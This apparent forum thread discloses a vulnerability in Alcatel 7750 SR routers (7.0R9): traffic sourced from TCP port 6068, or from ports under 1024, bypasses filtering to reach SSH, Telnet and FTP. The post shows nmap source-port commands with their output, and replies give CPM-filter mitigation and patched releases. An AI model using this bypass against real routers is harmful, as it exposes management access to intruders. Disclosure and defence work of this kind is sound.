Alcatel Unleashed

A serious security vulnerability has been detected in Alcatel 7750 SR routers. By setting source port to 6068, you can reach to SSH, Telnet and FTP services through VPRN interface with no-CPM filter.
Also by setting source port under 1024, you can reach SSH service. Unless it is patched, 7750 router is open to hackers, script kiddies, crackers.

Software: 7.0R9


TCP port 6068 is ANCP "Access Node Control Protocol" described in draft draft-ietf-ancp-protocol-04.txt. This is an extension of the General Switch Management Protocol (GSMPv3).

TCP traffic sourced from port 6068 has full access to FTP, Telnet and SSH on the 7750.

The issue is very easy to reproduce, all that is needed is a VPRN interface and no CPM-filter. In this case we used VPRN 3502. This problem can easily be stopped by CPM filters.

Here we can see that the nmap port scanner sees TCP port 6068 open:

root@:~# nmap -sS -n X.X.X.X -p 6068

PORT STATE SERVICE
6068/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

We can also see that SSH port 22 is NOT open:

root@:~# nmap -sS -n X.X.X.X -p 22


PORT STATE SERVICE
22/tcp filtered ssh

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds

Until we change the source port to 6068 and then we can see that SSH is open:

root@:~# nmap -sS -n X.X.X.X -g 6068 -p 22

PORT STATE SERVICE
22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

Same for Telnet:

root@:~# nmap -sS -n X.X.X.X -g 6068 -p 23

PORT STATE SERVICE
23/tcp open telnet

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds

Same for FTP

root@:~# nmap -sS -n X.X.X.X -g 6068 -p 21

PORT STATE SERVICE
21/tcp open ftp

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

Now with this information it is very easy to access the CLI and attempt to login by making your SSH session use a source port of 6068.


Also 7750 accepts SSH sessions that has a source port less then 1024. For example below (and tested with a SSH session) the 7750 allows an SSH session with a source port of 179 (BGP)

root@:~# nmap -sS -n X.X.X.X -g 179 -p 22

PORT STATE SERVICE
22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

good write up, i use cpm filters myself, but this could be dangerous. what about filtering the vprn interface?

There is a resolution available now.

You'll need an Alcatel-Lucent login to read the article.

https://alerts.alcatel-lucent.com/alert ... rt_id=6528

Basically you can upgrade to the following releases to resolve the issue:
8.0R4
7.0R12
6.1R16
6.0R18

-benny